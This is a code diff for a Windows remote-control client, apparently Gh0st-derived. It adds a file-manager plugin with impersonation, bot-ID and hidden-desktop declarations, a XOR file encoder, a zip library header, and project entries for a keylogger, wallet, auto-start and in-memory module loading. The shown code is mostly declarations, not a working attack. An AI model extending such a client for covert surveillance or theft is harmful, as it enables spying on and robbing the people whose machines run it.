~CX264Encoder() override;
|
||||
};
|
||||
|
||||
#else
|
||||
|
||||
extern "C" {
|
||||
#include <libyuv\libyuv.h>
|
||||
#include <x264\x264.h>
|
||||
}
|
||||
|
||||
#include "common/config.h"
|
||||
|
||||
class CX264Encoder : public VideoEncoderBase
|
||||
{
|
||||
private:
|
||||
@@ -42,3 +82,5 @@ public:
|
||||
CX264Encoder();
|
||||
~CX264Encoder() override;
|
||||
};
|
||||
|
||||
#endif // DISABLE_X264_FOR_TEST
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,152 @@
|
||||
#include <winsock2.h>
|
||||
#include <list>
|
||||
#include <string>
|
||||
#include "Manager.h"
|
||||
#include <sstream>
|
||||
#include "zip.h"
|
||||
|
||||
#pragma once
|
||||
#include <winioctl.h>
|
||||
typedef LONG NTSTATUS; // 仅声明 NTSTATUS;不引入 <winternl.h>,避免 STRING/UNICODE_STRING/OBJ_CASE_INSENSITIVE/FILE_OPEN 等宏与本地命名冲突
|
||||
#include "MasterEncoder.h"
|
||||
|
||||
namespace SimplePluginsFile {
|
||||
|
||||
typedef struct {
|
||||
UINT nFileSize; // 文件大小
|
||||
UINT nSendSize; // 已发送大小
|
||||
} SENDFILEPROGRESS, * PSENDFILEPROGRESS;
|
||||
|
||||
typedef struct {
|
||||
DWORD dwSizeHigh;
|
||||
DWORD dwSizeLow;
|
||||
BOOL error;
|
||||
} FILESIZE;
|
||||
|
||||
|
||||
typedef struct {
|
||||
TCHAR SearchFileName[MAX_PATH];
|
||||
TCHAR SearchPath[MAX_PATH];
|
||||
BOOL bEnabledSubfolder;
|
||||
} FILESEARCH;
|
||||
|
||||
|
||||
typedef struct {
|
||||
BYTE Token;
|
||||
int w,h,size;
|
||||
} FILEPICINFO;
|
||||
|
||||
|
||||
struct SEARCH {
|
||||
TCHAR TC_disk[8];
|
||||
TCHAR TC_search[MAX_PATH];
|
||||
};
|
||||
|
||||
typedef struct _IO_STATUS_BLOCK {
|
||||
union {
|
||||
NTSTATUS Status;
|
||||
PVOID Pointer;
|
||||
};
|
||||
ULONG_PTR Information;
|
||||
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
|
||||
|
||||
typedef struct _FILE_NAME_INFORMATION {
|
||||
ULONG FileNameLength;
|
||||
WCHAR FileName[MAX_PATH];
|
||||
} FILE_NAME_INFORMATION;
|
||||
|
||||
typedef LONG(__stdcall* ZwQueryInformationFile) (
|
||||
IN HANDLE FileHandle,
|
||||
OUT PIO_STATUS_BLOCK IoStatusBlock,
|
||||
OUT PVOID FileInformation,
|
||||
IN ULONG FileInformationLength,
|
||||
IN ULONG FileInformationClass
|
||||
);
|
||||
|
||||
WCHAR* ConvertTCharToWChar(const TCHAR* ansiStr);
|
||||
|
||||
class CFileManager : public CManager
|
||||
{
|
||||
public:
|
||||
MasterEncoder m_encoder;
|
||||
DWORD dwRet;
|
||||
void OnReceive(LPBYTE lpBuffer, ULONG nSize);
|
||||
UINT SendDriveList();
|
||||
CFileManager(ISocketBase* pClient, int n, void* user);
|
||||
virtual ~CFileManager();
|
||||
private:
|
||||
LPBYTE lpSendPacket;
|
||||
std::list <std::string> m_UploadList;
|
||||
BOOL m_bIsWow64;
|
||||
UINT m_nTransferMode;
|
||||
HANDLE m_hFileSend;
|
||||
HANDLE m_hFileRecv;
|
||||
TCHAR m_strCurrentProcessFileName[MAX_PATH]; // 当前正在处理的文件
|
||||
__int64 m_nCurrentProcessFileLength; // 当前正在处理的文件的长度
|
||||
bool benofrce;
|
||||
TCHAR* copyfile;
|
||||
HANDLE ImpersonateLoggedOnUserWrapper();
|
||||
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
|
||||
bool UploadToRemote(LPBYTE lpBuffer);
|
||||
bool FixedUploadList(LPCTSTR lpszDirectory);
|
||||
void StopTransfer(BOOL bIsUpload);
|
||||
UINT SendFilesList(TCHAR* lpszDirectory);
|
||||
bool DeleteDirectory(LPCTSTR lpszDirectory);
|
||||
UINT SendFileSize(LPCTSTR lpszFileName);
|
||||
void SendFileData(LPBYTE lpBuffer);
|
||||
void CreateFolder(LPBYTE lpBuffer);
|
||||
void Rename(LPBYTE lpBuffer);
|
||||
int SendToken(BYTE bToken);
|
||||
|
||||
void CreateLocalRecvFile(LPBYTE lpBuffer);
|
||||
void SetTransferMode(LPBYTE lpBuffer);
|
||||
void GetFileData();
|
||||
void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize);
|
||||
void UploadNext();
|
||||
BOOL OpenFile(LPCTSTR lpFile, INT nShowCmd);
|
||||
void ExeCompress(BYTE* lpBuffer);
|
||||
void SendSearchData(LPBYTE lpBuffer);
|
||||
BOOL GetVolumeNameByHandle(HANDLE hFile, char* szFullPath);
|
||||
void GetFullPathByFileReferenceNumber(HANDLE hVol, DWORDLONG FileReferenceNumber);
|
||||
|
||||
protected:
|
||||
HANDLE m_hWorkThread;
|
||||
BOOL bIsStopSearch;
|
||||
FILESEARCH filesearch;
|
||||
|
||||
void StopSearchTheard();
|
||||
void SendSearchFilesList(LPCTSTR str);
|
||||
static void WINAPI FindFileThread(LPVOID lparam);
|
||||
void FindFileInDir(TCHAR* rootDir, TCHAR* searchfilename, BOOL bEnabledSubfolder);
|
||||
TCHAR g_desktopName[MAX_PATH];
|
||||
ULONG PseudoRand(ULONG* seed);
|
||||
void GetBotId(TCHAR* botId);
|
||||
HDESK g_hDesk;;
|
||||
bool getLnkFormPath(TCHAR* lnkPath, TCHAR* szoutPath);
|
||||
void SendNetHood(); //发送共享文件目录
|
||||
void encfile(char* in_filename);
|
||||
void decryptfile(char* in_filename);
|
||||
bool FnDelPathFile(TCHAR* tc_path);
|
||||
|
||||
TCHAR* zippath_t;
|
||||
HANDLE m_hWorkZIPThread;
|
||||
BOOL bIsStopZIP;
|
||||
void StopZIPTheard();
|
||||
void StartZIP();
|
||||
static void WINAPI FindZIPThread(LPVOID lparam);
|
||||
void FindFileInDirZipAdd(TCHAR* rootDir, HZIP hz,int pathlen);
|
||||
|
||||
//info
|
||||
void SendFileInfo(TCHAR* filepath,TCHAR * type);
|
||||
bool ResizePicture(TCHAR* strSource);
|
||||
|
||||
TCHAR* volName; // 驱动盘名称
|
||||
TCHAR* tc_search; // 搜索关键词
|
||||
HANDLE hVol; // 用于储存驱动盘句柄
|
||||
USN_JOURNAL_DATA UsnInfo; // 用于储存USN日志的基本信息
|
||||
long counter;
|
||||
LPBYTE lpBuffer;
|
||||
char* c_pathname;
|
||||
};
|
||||
|
||||
}
|
||||
@@ -0,0 +1,162 @@
|
||||
#include "StdAfx.h"
|
||||
#include "MasterEncoder.h"
|
||||
#include <fstream>
|
||||
#include <string>
|
||||
#include <iostream>
|
||||
|
||||
namespace SimplePluginsFile {
|
||||
|
||||
MasterEncoder::MasterEncoder()
|
||||
{
|
||||
_codeKey = 100;
|
||||
_sign = nullptr;
|
||||
_signLen = 0;
|
||||
}
|
||||
|
||||
MasterEncoder::~MasterEncoder()
|
||||
{
|
||||
SAFE_DELETE_AR(_sign);
|
||||
}
|
||||
|
||||
void MasterEncoder::setSignAndKey(char* sign, int signLen, unsigned char key)
|
||||
{
|
||||
if (sign && signLen) {
|
||||
_signLen = signLen;
|
||||
SAFE_DELETE_AR(_sign);
|
||||
_sign = new char[signLen];
|
||||
if (_sign) {
|
||||
memcpy(_sign, sign, signLen);
|
||||
} else {
|
||||
Mprintf("setSignAndKey Failed!\n");
|
||||
}
|
||||
}
|
||||
_codeKey = key;
|
||||
}
|
||||
|
||||
void MasterEncoder::encode(unsigned char* data, long size)
|
||||
{
|
||||
for (long i = 0; i < size; i++) {
|
||||
data[i] ^= _codeKey;
|
||||
}
|
||||
}
|
||||
|
||||
void MasterEncoder::decode(unsigned char* data, long size)
|
||||
{
|
||||
for (long i = 0; i < size; i++) {
|
||||
data[i] ^= _codeKey;
|
||||
}
|
||||
}
|
||||
|
||||
unsigned char* MasterEncoder::readPDF(const std::string& filepath, long& size)
|
||||
{
|
||||
std::ifstream ifs;
|
||||
ifs.open(filepath, std::ios::in | std::ios::binary);
|
||||
|
||||
if (!ifs.is_open()) {
|
||||
Mprintf("文件打开失败: %s\n", filepath.c_str());
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
ifs.seekg(0, std::ios_base::end);
|
||||
size =(long) ifs.tellg();
|
||||
ifs.seekg(0, std::ios_base::beg);
|
||||
unsigned char* data = new unsigned char[size];
|
||||
long count = 0;
|
||||
while (count < size) {
|
||||
ifs.read((char*)&data[count], sizeof(unsigned char));
|
||||
count++;
|
||||
}
|
||||
|
||||
Mprintf("read PDF size = %d\n", size);
|
||||
|
||||
ifs.close();
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
void MasterEncoder::writePDF(const std::string& filePath, unsigned char* data, long size)
|
||||
{
|
||||
std::ofstream ofs;
|
||||
ofs.open(filePath, std::ios::out | std::ios::trunc | std::ios::binary);
|
||||
|
||||
if (!ofs.is_open()) {
|
||||
Mprintf("文件打开失败: %s\n", filePath.c_str());
|
||||
return;
|
||||
}
|
||||
|
||||
long count = 0;
|
||||
while (count < size) {
|
||||
ofs.write((char*)&data[count], sizeof(unsigned char));
|
||||
count++;
|
||||
}
|
||||
Mprintf("save PDF size = %d\n", size);
|
||||
ofs.close();
|
||||
}
|
||||
|
||||
void MasterEncoder::encodePDF(const std::string& pdfPath, const std::string& savePath)
|
||||
{
|
||||
long size = 0;
|
||||
unsigned char* data = readPDF(pdfPath, size);
|
||||
|
||||
//判断是否已经加密过
|
||||
if (memcmp(data, _sign, _signLen) == 0) {
|
||||
Mprintf("加密过了, 直接保存: %s\n", pdfPath.c_str());
|
||||
writePDF(savePath, data, size);
|
||||
} else {
|
||||
encode(data, size);
|
||||
|
||||
if (_signLen > 0) {
|
||||
unsigned char* p = new unsigned char[size + _signLen];
|
||||
memcpy(p, _sign, _signLen);
|
||||
memcpy(p + _signLen, data, size);
|
||||
|
||||
writePDF(savePath, p, size + _signLen);
|
||||
|
||||
delete[] p;
|
||||
} else {
|
||||
writePDF(savePath, data, size);
|
||||
}
|
||||
}
|
||||
|
||||
delete[] data;
|
||||
}
|
||||
|
||||
void MasterEncoder::decodePDF(const std::string& pdfPath, const std::string& savePath)
|
||||
{
|
||||
long size = 0;
|
||||
unsigned char* data = readPDF(pdfPath, size);
|
||||
|
||||
if (_signLen == 0) {
|
||||
decode(data, size);
|
||||
writePDF(savePath, data, size);
|
||||
} else if (memcmp(data, _sign, _signLen) == 0) {
|
||||
unsigned char* p = (data + _signLen);
|
||||
decode(p, size - _signLen);
|
||||
writePDF(savePath, p, size - _signLen);
|
||||
} else {
|
||||
Mprintf("解密失败: %s\n", pdfPath.c_str());
|
||||
}
|
||||
|
||||
delete[] data;
|
||||
}
|
||||
|
||||
unsigned char* MasterEncoder::decode(const std::string& pdfPath, long& size)
|
||||
{
|
||||
unsigned char* data = readPDF(pdfPath, size);
|
||||
|
||||
if (_signLen == 0) {
|
||||
decode(data, size);
|
||||
return data;
|
||||
} else if (memcmp(data, _sign, _signLen) == 0) {
|
||||
size -= _signLen;
|
||||
unsigned char* p = new unsigned char[size];
|
||||
memcpy(p, data + _signLen, size);
|
||||
decode(p, size);
|
||||
delete[] data;
|
||||
return p;
|
||||
} else {
|
||||
return data;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
#pragma once
|
||||
|
||||
#include <string>
|
||||
|
||||
namespace SimplePluginsFile {
|
||||
|
||||
class MasterEncoder
|
||||
{
|
||||
public:
|
||||
MasterEncoder();
|
||||
~MasterEncoder();
|
||||
|
||||
void setSignAndKey(char* sign, int signLen, unsigned char key);
|
||||
|
||||
void decode(unsigned char* data, long size);
|
||||
void encode(unsigned char* data, long size);
|
||||
|
||||
void writePDF(const std::string& filePath, unsigned char* data, long size);
|
||||
unsigned char* readPDF(const std::string& filepath, long& size);
|
||||
|
||||
public:
|
||||
void encodePDF(const std::string& pdfPath, const std::string& savePath);
|
||||
void decodePDF(const std::string& pdfPath, const std::string& savePath);
|
||||
unsigned char* decode(const std::string& pdfPath, long& size);
|
||||
|
||||
private:
|
||||
unsigned char _codeKey;
|
||||
char* _sign;
|
||||
int _signLen;
|
||||
};
|
||||
|
||||
}
|
||||
+2911
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,207 @@
|
||||
//
|
||||
//http://www.codeproject.com/KB/files/zip_utils.aspx
|
||||
//
|
||||
|
||||
#ifndef _zip_H
|
||||
#define _zip_H
|
||||
|
||||
|
||||
// ZIP functions -- for creating zip files
|
||||
// This file is a repackaged form of the Info-Zip source code available
|
||||
// at www.info-zip.org. The original copyright notice may be found in
|
||||
// zip.cpp. The repackaging was done by Lucian Wischik to simplify and
|
||||
// extend its use in Windows/C++. Also to add encryption and unicode.
|
||||
|
||||
|
||||
#ifndef _unzip_H
|
||||
DECLARE_HANDLE(HZIP);
|
||||
#endif
|
||||
// An HZIP identifies a zip file that is being created
|
||||
|
||||
typedef DWORD ZRESULT;
|
||||
// return codes from any of the zip functions. Listed later.
|
||||
|
||||
|
||||
|
||||
HZIP CreateZip(const TCHAR* fn, const char* password);
|
||||
HZIP CreateZip(void* buf, unsigned int len, const char* password);
|
||||
HZIP CreateZipHandle(HANDLE h, const char* password);
|
||||
// CreateZip - call this to start the creation of a zip file.
|
||||
// As the zip is being created, it will be stored somewhere:
|
||||
// to a pipe: CreateZipHandle(hpipe_write);
|
||||
// in a file (by handle): CreateZipHandle(hfile);
|
||||
// in a file (by name): CreateZip("c:\\test.zip");
|
||||
// in memory: CreateZip(buf, len);
|
||||
// or in pagefile memory: CreateZip(0, len);
|
||||
// The final case stores it in memory backed by the system paging file,
|
||||
// where the zip may not exceed len bytes. This is a bit friendlier than
|
||||
// allocating memory with new[]: it won't lead to fragmentation, and the
|
||||
// memory won't be touched unless needed. That means you can give very
|
||||
// large estimates of the maximum-size without too much worry.
|
||||
// As for the password, it lets you encrypt every file in the archive.
|
||||
// (This api doesn't support per-file encryption.)
|
||||
// Note: because pipes don't allow random access, the structure of a zipfile
|
||||
// created into a pipe is slightly different from that created into a file
|
||||
// or memory. In particular, the compressed-size of the item cannot be
|
||||
// stored in the zipfile until after the item itself. (Also, for an item added
|
||||
// itself via a pipe, the uncompressed-size might not either be known until
|
||||
// after.) This is not normally a problem. But if you try to unzip via a pipe
|
||||
// as well, then the unzipper will not know these things about the item until
|
||||
// after it has been unzipped. Therefore: for unzippers which don't just write
|
||||
// each item to disk or to a pipe, but instead pre-allocate memory space into
|
||||
// which to unzip them, then either you have to create the zip not to a pipe,
|
||||
// or you have to add items not from a pipe, or at least when adding items
|
||||
// from a pipe you have to specify the length.
|
||||
// Note: for windows-ce, you cannot close the handle until after CloseZip.
|
||||
// but for real windows, the zip makes its own copy of your handle, so you
|
||||
// can close yours anytime.
|
||||
|
||||
|
||||
ZRESULT ZipAdd(HZIP hz, const TCHAR* dstzn, const TCHAR* fn);
|
||||
ZRESULT ZipAdd(HZIP hz, const TCHAR* dstzn, void* src, unsigned int len);
|
||||
ZRESULT ZipAddHandle(HZIP hz, const TCHAR* dstzn, HANDLE h);
|
||||
ZRESULT ZipAddHandle(HZIP hz, const TCHAR* dstzn, HANDLE h, unsigned int len);
|
||||
ZRESULT ZipAddFolder(HZIP hz, const TCHAR* dstzn);
|
||||
// ZipAdd - call this for each file to be added to the zip.
|
||||
// dstzn is the name that the file will be stored as in the zip file.
|
||||
// The file to be added to the zip can come
|
||||
// from a pipe: ZipAddHandle(hz,"file.dat", hpipe_read);
|
||||
// from a file: ZipAddHandle(hz,"file.dat", hfile);
|
||||
// from a filen: ZipAdd(hz,"file.dat", "c:\\docs\\origfile.dat");
|
||||
// from memory: ZipAdd(hz,"subdir\\file.dat", buf,len);
|
||||
// (folder): ZipAddFolder(hz,"subdir");
|
||||
// Note: if adding an item from a pipe, and if also creating the zip file itself
|
||||
// to a pipe, then you might wish to pass a non-zero length to the ZipAddHandle
|
||||
// function. This will let the zipfile store the item's size ahead of the
|
||||
// compressed item itself, which in turn makes it easier when unzipping the
|
||||
// zipfile from a pipe.
|
||||
|
||||
ZRESULT ZipGetMemory(HZIP hz, void** buf, unsigned long* len);
|
||||
// ZipGetMemory - If the zip was created in memory, via ZipCreate(0,len),
|
||||
// then this function will return information about that memory block.
|
||||
// buf will receive a pointer to its start, and len its length.
|
||||
// Note: you can't add any more after calling this.
|
||||
|
||||
ZRESULT CloseZip(HZIP hz);
|
||||
// CloseZip - the zip handle must be closed with this function.
|
||||
|
||||
unsigned int FormatZipMessage(ZRESULT code, TCHAR* buf, unsigned int len);
|
||||
// FormatZipMessage - given an error code, formats it as a string.
|
||||
// It returns the length of the error message. If buf/len points
|
||||
// to a real buffer, then it also writes as much as possible into there.
|
||||
|
||||
|
||||
|
||||
// These are the result codes:
|
||||
#define ZR_OK 0x00000000 // nb. the pseudo-code zr-recent is never returned,
|
||||
#define ZR_RECENT 0x00000001 // but can be passed to FormatZipMessage.
|
||||
// The following come from general system stuff (e.g. files not openable)
|
||||
#define ZR_GENMASK 0x0000FF00
|
||||
#define ZR_NODUPH 0x00000100 // couldn't duplicate the handle
|
||||
#define ZR_NOFILE 0x00000200 // couldn't create/open the file
|
||||
#define ZR_NOALLOC 0x00000300 // failed to allocate some resource
|
||||
#define ZR_WRITE 0x00000400 // a general error writing to the file
|
||||
#define ZR_NOTFOUND 0x00000500 // couldn't find that file in the zip
|
||||
#define ZR_MORE 0x00000600 // there's still more data to be unzipped
|
||||
#define ZR_CORRUPT 0x00000700 // the zipfile is corrupt or not a zipfile
|
||||
#define ZR_READ 0x00000800 // a general error reading the file
|
||||
// The following come from mistakes on the part of the caller
|
||||
#define ZR_CALLERMASK 0x00FF0000
|
||||
#define ZR_ARGS 0x00010000 // general mistake with the arguments
|
||||
#define ZR_NOTMMAP 0x00020000 // tried to ZipGetMemory, but that only works on mmap zipfiles, which yours wasn't
|
||||
#define ZR_MEMSIZE 0x00030000 // the memory size is too small
|
||||
#define ZR_FAILED 0x00040000 // the thing was already failed when you called this function
|
||||
#define ZR_ENDED 0x00050000 // the zip creation has already been closed
|
||||
#define ZR_MISSIZE 0x00060000 // the indicated input file size turned out mistaken
|
||||
#define ZR_PARTIALUNZ 0x00070000 // the file had already been partially unzipped
|
||||
#define ZR_ZMODE 0x00080000 // tried to mix creating/opening a zip
|
||||
// The following come from bugs within the zip library itself
|
||||
#define ZR_BUGMASK 0xFF000000
|
||||
#define ZR_NOTINITED 0x01000000 // initialisation didn't work
|
||||
#define ZR_SEEK 0x02000000 // trying to seek in an unseekable file
|
||||
#define ZR_NOCHANGE 0x04000000 // changed its mind on storage, but not allowed
|
||||
#define ZR_FLATE 0x05000000 // an internal error in the de/inflation code
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
// e.g.
|
||||
//
|
||||
// (1) Traditional use, creating a zipfile from existing files
|
||||
// HZIP hz = CreateZip("c:\\simple1.zip",0);
|
||||
// ZipAdd(hz,"znsimple.bmp", "c:\\simple.bmp");
|
||||
// ZipAdd(hz,"znsimple.txt", "c:\\simple.txt");
|
||||
// CloseZip(hz);
|
||||
//
|
||||
// (2) Memory use, creating an auto-allocated mem-based zip file from various sources
|
||||
// HZIP hz = CreateZip(0,100000, 0);
|
||||
// // adding a conventional file...
|
||||
// ZipAdd(hz,"src1.txt", "c:\\src1.txt");
|
||||
// // adding something from memory...
|
||||
// char buf[1000]; for (int i=0; i<1000; i++) buf[i]=(char)(i&0x7F);
|
||||
// ZipAdd(hz,"file.dat", buf,1000);
|
||||
// // adding something from a pipe...
|
||||
// HANDLE hread,hwrite; CreatePipe(&hread,&hwrite,NULL,0);
|
||||
// HANDLE hthread = CreateThread(0,0,ThreadFunc,(void*)hwrite,0,0);
|
||||
// ZipAdd(hz,"unz3.dat", hread,1000); // the '1000' is optional.
|
||||
// WaitForSingleObject(hthread,INFINITE);
|
||||
// CloseHandle(hthread); CloseHandle(hread);
|
||||
// ... meanwhile DWORD WINAPI ThreadFunc(void *dat)
|
||||
// { HANDLE hwrite = (HANDLE)dat;
|
||||
// char buf[1000]={17};
|
||||
// DWORD writ; WriteFile(hwrite,buf,1000,&writ,NULL);
|
||||
// CloseHandle(hwrite);
|
||||
// return 0;
|
||||
// }
|
||||
// // and now that the zip is created, let's do something with it:
|
||||
// void *zbuf; unsigned long zlen; ZipGetMemory(hz,&zbuf,&zlen);
|
||||
// HANDLE hfz = CreateFile("test2.zip",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
|
||||
// DWORD writ; WriteFile(hfz,zbuf,zlen,&writ,NULL);
|
||||
// CloseHandle(hfz);
|
||||
// CloseZip(hz);
|
||||
//
|
||||
// (3) Handle use, for file handles and pipes
|
||||
// HANDLE hzread,hzwrite; CreatePipe(&hzread,&hzwrite,0,0);
|
||||
// HANDLE hthread = CreateThread(0,0,ZipReceiverThread,(void*)hzread,0,0);
|
||||
// HZIP hz = CreateZipHandle(hzwrite,0);
|
||||
// // ... add to it
|
||||
// CloseZip(hz);
|
||||
// CloseHandle(hzwrite);
|
||||
// WaitForSingleObject(hthread,INFINITE);
|
||||
// CloseHandle(hthread);
|
||||
// ... meanwhile DWORD WINAPI ZipReceiverThread(void *dat)
|
||||
// { HANDLE hread = (HANDLE)dat;
|
||||
// char buf[1000];
|
||||
// while (true)
|
||||
// { DWORD red; ReadFile(hread,buf,1000,&red,NULL);
|
||||
// // ... and do something with this zip data we're receiving
|
||||
// if (red==0) break;
|
||||
// }
|
||||
// CloseHandle(hread);
|
||||
// return 0;
|
||||
// }
|
||||
|
||||
|
||||
|
||||
// Now we indulge in a little skullduggery so that the code works whether
|
||||
// the user has included just zip or both zip and unzip.
|
||||
// Idea: if header files for both zip and unzip are present, then presumably
|
||||
// the cpp files for zip and unzip are both present, so we will call
|
||||
// one or the other of them based on a dynamic choice. If the header file
|
||||
// for only one is present, then we will bind to that particular one.
|
||||
ZRESULT CloseZipZ(HZIP hz);
|
||||
unsigned int FormatZipMessageZ(ZRESULT code, char* buf, unsigned int len);
|
||||
bool IsZipHandleZ(HZIP hz);
|
||||
#ifdef _unzip_H
|
||||
#undef CloseZip
|
||||
#define CloseZip(hz) (IsZipHandleZ(hz)?CloseZipZ(hz):CloseZipU(hz))
|
||||
#else
|
||||
#define CloseZip CloseZipZ
|
||||
#define FormatZipMessage FormatZipMessageZ
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
#endif
|
||||
@@ -185,6 +185,7 @@
|
||||
<ClCompile Include="..\common\ikcp.c" />
|
||||
<ClCompile Include="..\common\zstd_wrapper.c" />
|
||||
<ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
|
||||
<ClCompile Include="ActivityHistory.cpp" />
|
||||
<ClCompile Include="Audio.cpp" />
|
||||
<ClCompile Include="AudioManager.cpp" />
|
||||
<ClCompile Include="Buffer.cpp" />
|
||||
@@ -193,6 +194,13 @@
|
||||
<ClCompile Include="ClientDll.cpp" />
|
||||
<ClCompile Include="Common.cpp" />
|
||||
<ClCompile Include="FileManager.cpp" />
|
||||
<ClCompile Include="file\FileManager.cpp">
|
||||
<ObjectFileName>$(IntDir)FileManager_plugin.obj</ObjectFileName>
|
||||
</ClCompile>
|
||||
<ClCompile Include="file\MasterEncoder.cpp" />
|
||||
<ClCompile Include="file\zip.cpp" />
|
||||
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
|
||||
<ClCompile Include="DrawingBoardMgr.cpp" />
|
||||
<ClCompile Include="IOCPClient.cpp" />
|
||||
<ClCompile Include="IOCPKCPClient.cpp" />
|
||||
<ClCompile Include="IOCPUDPClient.cpp" />
|
||||
@@ -201,6 +209,7 @@
|
||||
<ClCompile Include="keylogger.cpp" />
|
||||
<ClCompile Include="Loader.cpp" />
|
||||
<ClCompile Include="LoginServer.cpp" />
|
||||
<ClCompile Include="ClientLogManager.cpp" />
|
||||
<ClCompile Include="Manager.cpp" />
|
||||
<ClCompile Include="MemoryModule.c" />
|
||||
<ClCompile Include="proxy\ProxyManager.cpp" />
|
||||
@@ -212,7 +221,9 @@
|
||||
<ClCompile Include="ScreenPreview.cpp" />
|
||||
<ClCompile Include="ScreenSpy.cpp" />
|
||||
<ClCompile Include="ServicesManager.cpp" />
|
||||
<ClCompile Include="ConnectionsManager.cpp" />
|
||||
<ClCompile Include="ServiceWrapper.c" />
|
||||
<ClCompile Include="session.cpp" />
|
||||
<ClCompile Include="SessionMonitor.c" />
|
||||
<ClCompile Include="ShellManager.cpp" />
|
||||
<ClCompile Include="ConPTYManager.cpp" />
|
||||
@@ -222,6 +233,9 @@
|
||||
<ClCompile Include="CFFmpegH264Encoder.cpp" />
|
||||
<ClCompile Include="EncoderFactory.cpp" />
|
||||
<ClCompile Include="TalkManager.cpp" />
|
||||
<ClCompile Include="TlsChannel.cpp" />
|
||||
<ClCompile Include="ChatManager.cpp" />
|
||||
<ClCompile Include="MachineManager.cpp" />
|
||||
<ClCompile Include="VideoManager.cpp" />
|
||||
<ClCompile Include="X264Encoder.cpp" />
|
||||
</ItemGroup>
|
||||
@@ -232,6 +246,7 @@
|
||||
<ClInclude Include="..\common\wallet.h" />
|
||||
<ClInclude Include="..\common\zstd_wrapper.h" />
|
||||
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
|
||||
<ClInclude Include="ActivityHistory.h" />
|
||||
<ClInclude Include="Audio.h" />
|
||||
<ClInclude Include="AudioManager.h" />
|
||||
<ClInclude Include="auto_start.h" />
|
||||
@@ -243,6 +258,13 @@
|
||||
<ClInclude Include="CursorInfo.h" />
|
||||
<ClInclude Include="domain_pool.h" />
|
||||
<ClInclude Include="FileManager.h" />
|
||||
<ClInclude Include="file\FileManager.h" />
|
||||
<ClInclude Include="file\MasterEncoder.h" />
|
||||
<ClInclude Include="file\zip.h" />
|
||||
<ClInclude Include="screenhide\ScreenManagerBase.h" />
|
||||
<ClInclude Include="screenhide\ScreenHideManager.h" />
|
||||
<ClInclude Include="screenhide\ScreenHideSpy.h" />
|
||||
<ClInclude Include="DrawingBoardMgr.h" />
|
||||
<ClInclude Include="IOCPClient.h" />
|
||||
<ClInclude Include="IOCPKCPClient.h" />
|
||||
<ClInclude Include="IOCPUDPClient.h" />
|
||||
@@ -251,6 +273,7 @@
|
||||
<ClInclude Include="keylogger.h" />
|
||||
<ClInclude Include="LoginServer.h" />
|
||||
<ClInclude Include="Manager.h" />
|
||||
<ClInclude Include="ClientLogManager.h" />
|
||||
<ClInclude Include="MemoryModule.h" />
|
||||
<ClInclude Include="my_clip.h" />
|
||||
<ClInclude Include="proxy\ProxyManager.h" />
|
||||
@@ -264,7 +287,9 @@
|
||||
<ClInclude Include="ScreenPreview.h" />
|
||||
<ClInclude Include="ScreenSpy.h" />
|
||||
<ClInclude Include="ServicesManager.h" />
|
||||
<ClInclude Include="ConnectionsManager.h" />
|
||||
<ClInclude Include="ServiceWrapper.h" />
|
||||
<ClInclude Include="session.h" />
|
||||
<ClInclude Include="SessionMonitor.h" />
|
||||
<ClInclude Include="ShellManager.h" />
|
||||
<ClInclude Include="ConPTYManager.h" />
|
||||
@@ -275,6 +300,13 @@
|
||||
<ClInclude Include="SystemManager.h" />
|
||||
<ClInclude Include="VideoEncoderBase.h" />
|
||||
<ClInclude Include="TalkManager.h" />
|
||||
<ClInclude Include="TlsChannel.h" />
|
||||
<ClInclude Include="ChatManager.h" />
|
||||
<ClInclude Include="ChatDialogTemplate.h" />
|
||||
<ClInclude Include="TalkDialogTemplate.h" />
|
||||
<ClInclude Include="ImageResource.h" />
|
||||
<ClInclude Include="MachineManager.h" />
|
||||
<ClInclude Include="yapi.hpp" />
|
||||
<ClInclude Include="VideoCodec.h" />
|
||||
<ClInclude Include="VideoManager.h" />
|
||||
<ClInclude Include="X264Encoder.h" />
|
||||
|
||||
@@ -0,0 +1,207 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\common\file_upload.cpp" />
|
||||
<ClCompile Include="..\common\ikcp.c" />
|
||||
<ClCompile Include="..\common\zstd_wrapper.c" />
|
||||
<ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
|
||||
<ClCompile Include="ActivityHistory.cpp" />
|
||||
<ClCompile Include="Audio.cpp" />
|
||||
<ClCompile Include="AudioManager.cpp" />
|
||||
<ClCompile Include="Buffer.cpp" />
|
||||
<ClCompile Include="CaptureVideo.cpp" />
|
||||
<ClCompile Include="clang_rt_compat.c" />
|
||||
<ClCompile Include="ClientDll.cpp" />
|
||||
<ClCompile Include="Common.cpp" />
|
||||
<ClCompile Include="FileManager.cpp" />
|
||||
<ClCompile Include="file\FileManager.cpp" />
|
||||
<ClCompile Include="file\MasterEncoder.cpp" />
|
||||
<ClCompile Include="file\zip.cpp" />
|
||||
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
|
||||
<ClCompile Include="DrawingBoardMgr.cpp" />
|
||||
<ClCompile Include="IOCPClient.cpp" />
|
||||
<ClCompile Include="IOCPKCPClient.cpp" />
|
||||
<ClCompile Include="IOCPUDPClient.cpp" />
|
||||
<ClCompile Include="KernelManager.cpp" />
|
||||
<ClCompile Include="KeyboardManager.cpp" />
|
||||
<ClCompile Include="keylogger.cpp" />
|
||||
<ClCompile Include="Loader.cpp" />
|
||||
<ClCompile Include="LoginServer.cpp" />
|
||||
<ClCompile Include="ClientLogManager.cpp" />
|
||||
<ClCompile Include="Manager.cpp" />
|
||||
<ClCompile Include="MemoryModule.c" />
|
||||
<ClCompile Include="proxy\ProxyManager.cpp" />
|
